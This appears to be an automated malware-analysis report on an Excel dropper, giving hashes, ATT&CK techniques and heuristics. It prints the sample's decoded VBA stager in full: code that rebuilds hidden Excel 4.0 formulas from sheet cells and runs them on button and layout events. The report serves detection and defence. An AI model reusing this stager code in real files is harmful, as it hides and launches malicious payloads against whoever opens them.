Xls.Dropper.Agent-7775073-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 3bd6f4e3a8ed2ec2…

MALICIOUS

Office (OLE)

157.0 KB Created: 2020-05-06 11:05:11 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: 411a96e63d55d8da1ac84bec18f9e730 SHA-1: 05c884da97cd1fc4a5839f5c7716beec3dc6b7c7 SHA-256: 3bd6f4e3a8ed2ec2a830b32775cc31a00bc9f091de1abe3ceedfa72deafd0f93
220 Risk Score

Malware Insights

Xls.Dropper.Agent-7775073-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is identified as malicious by ClamAV as 'Xls.Dropper.Agent-7775073-0'. Critical heuristics indicate that VBA macros are used to launch decoded Excel 4.0 macros, a common stager technique. The XLM macros themselves appear to be heavily obfuscated and likely contain logic to download and execute a secondary payload.

Heuristics 5

  • ClamAV: Xls.Dropper.Agent-7775073-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-7775073-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA ActiveX event runs worksheet-decoded XLM formulas critical OLE_VBA_ACTIVEX_XLM_CELL_STAGER
    VBA code attached to an ActiveX/UserForm event reconstructs formula text from worksheet constants using Split/Replace/Mid or character shifting, then executes it through ExecuteExcel4Macro or Run. This is a high-confidence malware stager that hides XLM formula execution in sheet cells; it is not a document-parser CVE.
  • VBA ActiveX event launches decoded Excel4 macro critical OLE_VBA_ACTIVEX_XLM_STAGER
    The compiled VBA p-code (identifier table) references an auto-firing ActiveX/control event together with ExecuteExcel4Macro, while the decompressed source does not — the VBA-stomping shape of the ActiveX-event XLM stager. The control event bridges into XLM formula execution to call Win32 / drop payloads, hidden from source-level scanners.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 147154 bytes
SHA-256: fbf7c651ca3588cae2e7bc036f496be4c401e1f1c09d7b89c86677dfbf6faf64
Preview script
First 1,000 lines of the extracted script
' 0085     11 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden -  am
' 0085     16 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Bonific
' 0018     27 LABEL : Cell Value, String Constant - Vrtih len=7 ptgRef3d  am!C750 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 
... (truncated)
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2207 bytes
SHA-256: 1f378f1315f0bc20434b9e318256ba8bd94cf0597595592a5fbe383a70fbd785
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Questa_cartella_di_lavoro"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "SalvaoStampa, 1, 0, MSForms, CommandButton"
Attribute VB_Control = "salva1, 2, 1, MSForms, Frame"
Function homo(um As String, a, b, c As Integer)
On Error Resume Next
Dim Ar As Variant
Dim el As Variant
Dim wks1 As Worksheet
Set wks1 = Sheets("amm")
Dim Result() As String
ll = Len(um)
pp = ""

homos = "": homo = ""
Result = amore(um)
For ii = 1 To ll

ks = Result(ii) & a & ":" & Result(ii) & b
homos = ""
    Range(ks).Select
    For Each self In Selection.SpecialCells(xlCellTypeConstants)
    u = CStr(self)
    rlen = Len(u)
    Rri = Mid(u, rlen, 1)
    pp = pp + "" & Rri
    
    Next
    
    wks1.Cells(c, 4) = pp
    pp = ""
Next ii

On Error GoTo 0
End Function
Function amore(W As String) As String()
    Dim res() As String
    ReDim res(1 To Len(W))
    For i = 1 To Len(W)
        res(i) = Mid(W, i, 1)
    Next
    amore = res
End Function
Sub Manish()
On Error Resume Next
Debug.Print homo("D", 120, 160, 751)
falses = homo("J", 166, 442, 753)
Debug.Print homo("C", 138, 437, 754)
namess = homo("G", 145, 424, 755)
Debug.Print homo("B", 230, 520, 756)
logo = homo("L", 207, 487, 757)
Debug.Print homo("X", 172, 450, 758)
printeds = homo("O", 380, 660, 759)
Debug.Print homo("N", 350, 632, 760)
iik = homo("Q", 285, 565, 761)
Debug.Print homo("S", 205, 445, 762): one1
MsgBox ExecuteExcel4Macro("RUN(""Vrtih"")")
End Sub
Sub salva1_Layout()
one1: Manish: one1
End Sub
Sub one1()
Debug.Print homo("A", 1, 1, 1)
End Sub

Private Sub SalvaoStampa_Click()
one1: Manish: one1
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.